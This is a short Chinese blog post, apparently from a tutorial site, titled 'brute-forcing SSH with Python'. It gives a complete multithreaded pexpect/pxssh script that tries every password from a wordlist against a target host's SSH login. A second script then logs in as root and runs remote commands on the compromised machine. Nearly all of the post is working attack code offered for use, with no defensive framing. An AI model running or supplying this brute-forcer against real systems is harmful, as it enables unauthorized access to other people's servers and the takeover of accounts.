Python脚本--爆破SSH

利用Pxssh是pexpect库的ssh专用脚本

环境:kali

代码:

'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *

Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+]Password Found:"+password)
        Found = True
    except Exception as e:
        pass
def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
    parser.add_option('-u', dest='user', type='string', help='login username')
    (options,args) = parser.parse_args()
    host = options.host
    passwdfile = options.passwdfile
    user = options.user
    if host==None or passwdfile==None or user==None:
        print(parser.usage)
        exit(0)
    mn = open(passwdfile,'r')
    lines = mn.readlines()
    for line in lines:
        with connection_lock:
            password = line.strip('\n')
            print('[-] Test:'+str(password))
            t = Thread(target=connect,args=(host, user, password))
            t.start()
if __name__ == '__main__':
    main()

执行结果:
Python脚本--爆破SSH

爆破成功后(远程执行上述命令)

代码:

'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
    s.sendline(shell)
    s.prompt()
    print s.before
def connect(host,user,password):
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        return s
    except:
        print("[-] Error Connecting")
        exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')

Python脚本--爆破SSH

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值